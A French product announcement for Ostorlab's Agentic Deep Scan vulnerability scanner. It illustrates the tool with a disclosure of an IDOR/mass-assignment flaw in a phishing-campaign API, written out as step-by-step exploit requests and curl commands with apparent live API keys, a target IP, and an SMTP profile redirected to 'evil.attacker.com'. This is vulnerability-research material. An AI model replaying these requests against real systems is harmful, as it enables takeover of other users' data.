Ostorlab lance Agentic Deep Scan : le scanner de vulnérabilités de nouvelle génération

Nous sommes ravis d'annoncer Agentic Deep Scan, le nouveau scanner de vulnérabilités de nouvelle génération d'Ostorlab. Ce n'est pas un scanner de plus. C'est une approche fondamentalement différente, qui simule des attaques réelles sur les applications iOS, Android (bientôt harmonyOS) et web, et valide chaque vulnérabilité dans des conditions réalistes.

Grâce à la prise en charge de Bring Your Own Key (BYOK), vous gardez un contrôle total sur vos données et sur votre utilisation de l'IA tout en explorant cette approche de scan de nouvelle génération.

Nous sommes la seule plateforme à le faire de manière spécifique et approfondie pour les applications mobiles, en combinant validation réaliste des exploits, analyse inter-composants et preuves de qualité probante, d'une façon qu'aucun autre outil n'offre aujourd'hui.

Comment Agentic Deep Scan fournit des vulnérabilités exploitables, étayées par des preuves

Les scanners standard identifient des problèmes potentiels à partir de motifs ou de signatures. Agentic Deep Scan va plus loin : chaque vulnérabilité est validée dans des conditions réelles, avec des preuves de qualité probante : captures d'écran, journaux de requêtes et de réponses, journaux de l'appareil et reproduction pas à pas, pour que les équipes puissent se concentrer sur les risques que des attaquants pourraient réellement exploiter.

Vulnérabilités vérifiées issues d'un scan d'exemple

Agentic Deep Scan met au jour des risques réels et exploitables dans des applications en production. Par exemple, notre rapport d'exemple met en évidence 12 vulnérabilités critiques, dont un contournement de l'authentification JWT dans VulnBank.org

Le contournement de l'authentification JWT dans VulnBank.org permettait à des attaquants de forger des jetons avec des privilèges élevés (is_admin: true), donnant accès à des endpoints réservés aux administrateurs tels que /admin/create_admin et /admin/approve_loan/{loan_id}.

Cela montre comment des faiblesses d'authentification et d'autorisation peuvent être exploitées dans des conditions réelles, et comment Agentic Deep Scan fournit des preuves de qualité probante pour que les équipes puissent reproduire et corriger les problèmes en toute confiance.

Une vulnérabilité réelle découverte par Agentic Deep Scan

Agentic Deep Scan a été exécuté sur des applications réelles et a mis au jour plusieurs vulnérabilités jusque-là inconnues. Certaines vulnérabilités attendent encore un correctif dans des projets open source populaires, ce qui démontre l'efficacité du scanner et son impact concret.

Parmi ces vulnérabilités, l'une s'est distinguée par sa sévérité : une simple faille de logique d'API qui permet la prise de contrôle complète de ressources. Voici comment Agentic Deep Scan l'a découverte, exploitée, puis a prouvé son impact avec des preuves concrètes.

Description

Les endpoints d'API de création de ressources ne vérifient pas que le paramètre 'id' des requêtes POST n'est pas déjà associé à une ressource existante. Lorsqu'un attaquant inclut l'ID d'une ressource existante dans une requête POST, l'application transfère la propriété de cette ressource à l'attaquant au lieu de créer une nouvelle ressource. Cela permet le vol complet de contenus de phishing confidentiels, de listes d'e-mails de cibles (violation du RGPD), de pages de capture d'identifiants et de l'infrastructure d'envoi d'e-mails.

Cause racine

Les endpoints d'API de création de ressources (POST /api/groups/, POST /api/templates/, POST /api/pages/, POST /api/smtp/) acceptent un paramètre id dans le corps de la requête sans vérifier si l'ID appartient déjà à la ressource d'un autre utilisateur. Lorsqu'un ID existant est fourni, l'application met à jour (détourne) cette ressource au lieu d'en créer une nouvelle, en transférant la propriété à l'attaquant authentifié.

Schéma de code vulnérable

Les gestionnaires d'API acceptent l'intégralité du corps JSON, y compris le champ id :

// Endpoint pattern vulnerable to IDOR
router.HandleFunc("/api/groups/", mid.Use(as.UseGroups, mid.RequireAPIKey))

Le gestionnaire traite directement le JSON entrant sans supprimer ni valider le champ id, ce qui permet l'affectation en masse (mass assignment) d'ID de ressources existantes.

Preuves d'exploitation

Étape 1 - L'administrateur crée un groupe de cibles confidentiel :

POST /api/groups/ HTTP/1.1
Authorization: Bearer <admin_api_key>
Content-Type: application/json

{
    "name": "CONFIDENTIAL_TARGETS",
    "targets": [
        {"email": "john.victim@testcorp.com", "first_name": "John", "last_name": "Victim"},
        {"email": "jane.target@testcorp.com", "first_name": "Jane", "last_name": "Target"},
        {"email": "bob.doe@financial.com", "first_name": "Bob", "last_name": "Doe"}
    ]
}

Response: HTTP 201 Created
{"id": 106, "name": "CONFIDENTIAL_TARGETS", "targets": [...]}

Étape 2 - L'attaquant (user_b) détourne le groupe en spécifiant l'ID 106 :

POST /api/groups/ HTTP/1.1
Authorization: Bearer <attacker_api_key>
Content-Type: application/json

{
    "id": 106,
    "name": "STOLEN_GROUP",
    "targets": []
}

Response: HTTP 201 Created
{"id": 106, "name": "STOLEN_GROUP", "targets": []}

Étape 3 - Vérification du transfert de propriété :

# Admin attempts to access their own group
curl -k https://34.55.131.240:3333/api/groups/106 \
  -H 'Authorization: Bearer <admin_api_key>'

Response: HTTP 404 Not Found
{"message": "Group not found", "success": false, "data": null}

# Attacker accesses the stolen group
curl -k https://34.55.131.240:3333/api/groups/106 \
  -H 'Authorization: Bearer <attacker_api_key>'

Response: HTTP 200 OK
{"id": 106, "name": "STOLEN_GROUP", ...}

Autres endpoints confirmés vulnérables :

POST /api/templates/ HTTP/1.1
Authorization: Bearer <attacker_api_key>
{"id": 113, "name": "STOLEN_TEMPLATE", "subject": "HACKED", "html": "..."}
Response: HTTP 201 Created

POST /api/pages/ HTTP/1.1
Authorization: Bearer <attacker_api_key>
{"id": 60, "name": "STOLEN_PAGE", "html": "...", "capture_credentials": true}
Response: HTTP 201 Created

POST /api/smtp/ HTTP/1.1
Authorization: Bearer <attacker_api_key>
{"id": 81, "name": "STOLEN_SMTP", "host": "evil.attacker.com:25"}
Response: HTTP 201 Created

Données exfiltrées :

• Adresses e-mail des cibles : john.victim@testcorp.com, jane.target@testcorp.com, bob.doe@financial.com
• Modèle de phishing d'ID 113 avec l'objet "Urgent: Your Account Security"
• Page d'atterrissage d'ID 60 avec configuration de capture d'identifiants
• Profil d'envoi SMTP d'ID 81

Preuves de validation

Tentative de validation 1

POST /api/groups/ avec id=106 a renvoyé HTTP 201 Created, transférant la propriété à l'attaquant**

Tentative de validation 2

POST /api/templates/ avec id=113 a renvoyé HTTP 201 Created

Tentative de validation 3

POST /api/pages/ avec id=60 a renvoyé HTTP 201 Created

Tentative de validation 4

POST /api/smtp/ avec id=81 a renvoyé HTTP 201 Created

Tentative de validation 5

Le propriétaire d'origine reçoit HTTP 404 lorsqu'il accède aux ressources détournées

Tentative de validation 6

L'attaquant reçoit HTTP 200 lorsqu'il accède aux ressources volées

Tentative de validation 7

Cause racine

L'endpoint POST /api/groups/ accepte et traite le champ id des corps de requête JSON sans vérifier si l'ID appartient à une ressource existante d'un autre utilisateur. Le backend utilise directement l'ID fourni par le client, ce qui provoque un transfert de propriété lorsque l'ID référence la ressource d'un autre utilisateur.

Schéma de code vulnérable

// Endpoint accepts full JSON body including 'id' field
router.HandleFunc("/api/groups/", mid.Use(as.UseGroups, mid.RequireAPIKey))
// Handler processes JSON directly without stripping/validating 'id'

Preuves d'exploitation

Étape 1 - Situation de départ confirmée : l'administrateur possède le groupe 110, l'attaquant ne peut pas y accéder :

# Admin retrieves their group
curl -k 'https://34.55.131.240:3333/api/groups/110' \
  -H 'Authorization: Bearer 1b3146bda7ae9ae9bebff4cdfce2319365fe7ee1c716f0fb67f6367d81459848'

Réponse : HTTP 200 - Le groupe contient 4 adresses e-mail de cibles confidentielles

# Attacker attempts access (pre-hijack)
curl -k 'https://34.55.131.240:3333/api/groups/110' \
  -H 'Authorization: Bearer 1b08fb31e5daeceeb5844cab911ff71918e29599223c8dd61a8b8ad54fdbd5d4'

Réponse : HTTP 404 - {"message":"Group not found","success":false,"data":null}

Étape 2 - L'attaquant détourne le groupe en spécifiant un ID existant :

curl -k -i 'https://34.55.131.240:3333/api/groups/' \
  -H 'Authorization: Bearer 1b08fb31e5daeceeb5844cab911ff71918e29599223c8dd61a8b8ad54fdbd5d4' \
  -H 'Content-Type: application/json' \
  -X POST \
  --data '{"id":110,"name":"HIJACKED_GROUP_BY_ATTACKER","targets":[{"email":"dummy@testcompany.com","first_name":"Dummy","last_name":"User"}]}'

Réponse : HTTP 201 Created

{"id":110,"name":"HIJACKED_GROUP_BY_ATTACKER","targets":[...]}

Étape 3 - Transfert de propriété vérifié :

# Admin attempts to access their group (post-hijack)
curl -k 'https://34.55.131.240:3333/api/groups/110' \
  -H 'Authorization: Bearer 1b3146bda7ae9ae9bebff4cdfce2319365fe7ee1c716f0fb67f6367d81459848'

Réponse : HTTP 404 - {"message":"Group not found","success":false,"data":null}

# Attacker retrieves stolen group
curl -k 'https://34.55.131.240:3333/api/groups/110' \
  -H 'Authorization: Bearer 1b08fb31e5daeceeb5844cab911ff71918e29599223c8dd61a8b8ad54fdbd5d4'

Réponse : HTTP 200 - Données complètes du groupe, y compris les cibles d'origine :

executive@testcompany.com

hr@testcompany.com

itadmin@testcompany.com

finance@testcompany.com

Essayer Agentic Deep Scan avec BYOK (Bring Your Own Key)

Grâce à BYOK (Bring Your Own Key), vous pouvez essayer Agentic Deep Scan en toute sécurité avec vos propres identifiants, en gardant un contrôle total sur vos données et vos coûts, ce qui permet d'explorer simplement cette approche de scan de nouvelle génération sur vos applications.

En savoir plus sur Agentic Deep Scan :
- Web Agentic Deep Scan
- Mobile Agentic Deep Scan